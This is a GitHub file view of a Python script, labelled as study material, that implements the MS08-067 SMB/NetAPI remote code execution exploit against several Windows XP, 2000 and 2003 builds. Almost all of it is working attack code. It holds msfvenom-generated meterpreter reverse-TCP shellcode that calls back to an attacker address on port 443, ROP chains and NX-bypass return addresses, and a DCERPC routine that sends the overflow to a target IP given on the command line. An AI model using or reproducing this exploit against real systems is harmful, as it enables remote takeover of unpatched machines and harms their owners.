-
Notifications
You must be signed in to change notification settings - Fork 8
/
Attack_Exploit_Example_by_Python.py
167 lines (148 loc) · 7.9 KB
/
Attack_Exploit_Example_by_Python.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#This is just a reference exploit code of python to study.
import struct
import time
import sys
from threading import Thread
try:
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
except ImportError, _:
sys.exit(1)
print '#######################################################################'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#######################################################################\n'
#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35"
shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae"
shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6"
shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6"
shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91"
shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15"
shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c"
shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c"
shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1"
shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda"
shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba"
shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4"
shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc"
shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b"
shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69"
shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68"
shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc"
shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff"
shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28"
shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf"
shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22"
shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1"
shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0"
shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2"
shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22"
shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4"
shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60"
shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48"
shellcode += "\x08\x9e\xe0"
nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1="\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3="\xcc\x90\xeb\x5a"
ret=struct.pack('<L', 0x00018000)
ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
ret+=struct.pack('<L', 0x01040110)
ret+=struct.pack('<L', 0x01010101)
ret+=struct.pack('<L', 0x01010101)
ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
ret+=gadget1
ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['jmp eax']+module_base)
ret+=gadget2[0]
ret+=gadget2[1]
ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
ret+=gadget2[2]
ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
ret+=struct.pack('<L', rvas['jmp eax']+module_base)
ret+=gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os=='1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os=='2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os=='3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" #0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os=='4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
elif (self.os=='5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
elif (self.os=='6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
elif (self.os=='7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case.
else:
print 'Not supported OS version\n'
sys.exit(-1)
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(5)
print 'Exploit finish\n'
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: XXX.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
sys.exit(-1)
current = SRVSVC_Exploit(target, os)
current.start()